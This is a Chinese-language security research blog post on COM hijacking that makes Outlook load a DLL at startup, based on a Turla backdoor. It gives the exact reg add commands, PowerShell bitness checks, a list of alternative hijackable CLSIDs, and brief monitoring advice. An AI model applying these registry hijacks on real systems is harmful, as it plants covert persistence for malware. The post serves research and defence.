Use COM Object hijacking to maintain persistence——Hijack Outlook

发布于 2024-11-01 14:42:25 字数 4822 浏览 4 评论 0

0x00 前言

APT 组织 Trula 使用的一个后门利用方法,通过 COM 劫持实现在 Outlook 启动时加载 dll,特点是只需要当前用户的权限即可实现。

本文将参考公开的资料对这个方法进行测试,编写一个自动化利用脚本,扩展用法,分享多个可用的劫持位置,结合利用思路给出防御建议

参考资料:https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf

0x01 简介

本文将要介绍以下内容:

  • 利用方法
  • Powershell 脚本实现细节
  • 扩展用法
  • 防御建议

0x02 利用方法

Outlook 在启动时会加载多个 COM 对象,我们可以通过修改注册表的方式劫持 Outlook 的启动过程,用来加载 DLL

这里的利用方法需要添加两个注册表,修改两个 COM 对象

由于是修改 HKCU 的注册表,所以使用当前用户权限即可

(1)COM 对象 1,用来加载第二个 COM 对象

添加如下注册表:

HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}

通过命令行实现的命令如下:

reg add HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f

(2)COM 对象 2,用来加载 DLL

添加如下注册表:

HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} = Mail Plugin
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 = [Path to the backdoor DLL]
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32\ThreadingModel = Apartment

通过命令行实现的命令如下:

reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "c:\\test\\calc.dll" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f

calc.dll 可使用之前的测试 DLL,地址为: https://github.com/3gstudent/test/blob/master/calc.dll

添加注册表后启动 Outlook,多次加载 DLL,弹出多个计算器,这里可以使用互斥量确保只弹出一个计算器,DLL 的下载地址:https://github.com/3gstudent/test/blob/master/calcmutex.dll

对于 64 位 Windows 系统,如果安装了 32 位的 Office,两个 COM 对象的注册表位置需要修改为 HKCU\Software\Classes\Wow6432Node\CLSID\

0x03 Powershell 脚本实现细节

实现流程如下:

  1. 判断操作系统位数
  2. 判断 Office 软件版本
  3. 如果是 64 位系统安装 32 位 Office,注册表的位置为 HKCU\Software\Classes\Wow6432Node\CLSID\ ,否则,注册表的位置为 HKCU\Software\Classes\CLSID\
  4. 添加对应注册表

具体代码如下:

1. 判断操作系统位数

if ([IntPtr]::Size -eq 8)
{
    '64-bit'
}
else
{
    '32-bit'
}

2. 判断安装 office 软件版本

查看默认安装路径 C:\Program Files\Microsoft Office 是否包含文件夹 MEDIA

如果包含,那么为 64 位 Office,否则为 32 位 Office

powershell 代码如下:

Try  
{  
    dir C:\Program Files\Microsoft Office\MEDIA
    Write-Host "Microsoft Office: 64-bit"
}
Catch  
{ 
    Write-Host "Microsoft Office: 32-bit"
}

实现代码已开源,地址如下:https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-OutlookPersistence.ps1

代码实现了自动判断操作系统位数和 Office 软件版本,添加对应的注册表项

0x04 扩展用法

使用 Process Monitor 监控 Outlook 启动过程,查找是否有其他可用的 COM 对象,经测试,我在 Outlook2013 上找到多个可用方法,COM 对象 1 替换成以下任意一个,COM 对象 2 保持不变。

可用的 COM 对象 1:

  • {B056521A-9B10-425E-B616-1FCD828DB3B1}
  • {EFEF7FDB-0CED-4FB6-B3BB-3C50D39F4120}
  • {93E5752E-B889-47C5-8545-654EE2533C64}
  • {56FDF344-FD6D-11D0-958A-006097C9A090}
  • {2163EB1F-3FD9-4212-A41F-81D1F933597F}
  • {A6A2383F-AD50-4D52-8110-3508275E77F7}
  • {F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}
  • {88D96A05-F192-11D4-A65F-0040963251E5}
  • {807583E5-5146-11D5-A672-00B0D022E945}
  • {529A9E6B-6587-4F23-AB9E-9C7D683E3C50}
  • {3CE74DE4-53D3-4D74-8B83-431B3828BA53}
  • {A4B544A1-438D-4B41-9325-869523E2D6C7}
  • {33C53A50-F456-4884-B049-85FD643ECFED}
  • {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}
  • {275C23E2-3747-11D0-9FEA-00AA003F8646}
  • {C15BB852-6F97-11D3-A990-00104B2A619F}
  • {ED475410-B0D6-11D2-8C3B-00104B2A6676}
  • {1299CF18-C4F5-4B6A-BB0F-2299F0398E27}
  • {DCB00C01-570F-4A9B-8D69-199FDBA5723B}
  • {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}

0x05 防御建议

监控以下注册表项下的创建和修改操作:

  • HKCU\Software\Classes\CLSID\
  • HKCU\Software\Classes\Wow6432Node\CLSID\

0x06 小结

本文介绍了通过 COM 劫持实现在 Outlook 启动时加载 dll 的方法,分享多个可用的劫持位置,结合利用思路给出防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

上一篇:

下一篇:

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

回首观望

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

lee_heart

文章 0 评论 0

往事如风

文章 0 评论 0

春风十里

文章 0 评论 0

纸短情长

文章 0 评论 0

qq_pdEUFz

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文